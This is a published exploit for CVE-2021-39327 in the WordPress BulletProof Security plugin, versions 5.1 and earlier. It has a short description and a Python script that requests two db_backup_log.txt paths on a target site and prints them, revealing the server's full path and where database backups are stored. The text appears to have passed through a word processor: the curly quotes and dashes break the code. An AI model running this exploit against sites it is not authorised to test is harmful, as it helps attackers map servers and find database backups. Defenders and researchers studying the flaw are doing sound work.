WordPress BulletProof Security 5.1 Information Disclosure

# Exploit Title: WordPress Plugin BulletProof Security 5.1 – Sensitive Information Disclosure
# Date 04.10.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
# Version: <= 5.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39327
# CWE: CWE-200
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md

”’
Description:
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files.
This affects versions up to, and including, 5.1.
”’

”’
‘Banner:
”’
banner = ”’
______ _______ ____ ___ ____ _ _____ ___ _________ _____
/ ___ / / ____| |___ / _ ___ / | |___ // _ ___ /___ ___ |
| | / /| _| _____ __) | | | |__) | |_____ |_ (_) ||_ __) | / /
| |___ V / | |__|_____/ __/| |_| / __/| |_____|__) __, |__) / __/ / /
____| _/ |_____| |_____|___/_____|_| |____/ /_/____/_____/_/

* Sensitive information disclosure
@ Author: Ron Jost
”’
print(banner)

import argparse
import requests

”’
User-Input:
”’
my_parser = argparse.ArgumentParser(description=’Wordpress Plugin BulletProof Security – Sensitive information disclosure’)
my_parser.add_argument(‘-T’, ‘–IP’, type=str)
my_parser.add_argument(‘-P’, ‘–PORT’, type=str)
my_parser.add_argument(‘-U’, ‘–PATH’, type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
print(”)
print(‘[*] Starting Exploit:’)
print(”)

paths = [“/wp-content/bps-backup/logs/db_backup_log.txt”, “/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt”]

# Exploit
for pathadd in paths:
x = requests.get(“http://” + target_ip + ‘:’ + target_port + ‘/’ + wp_path + pathadd)
print(x.text)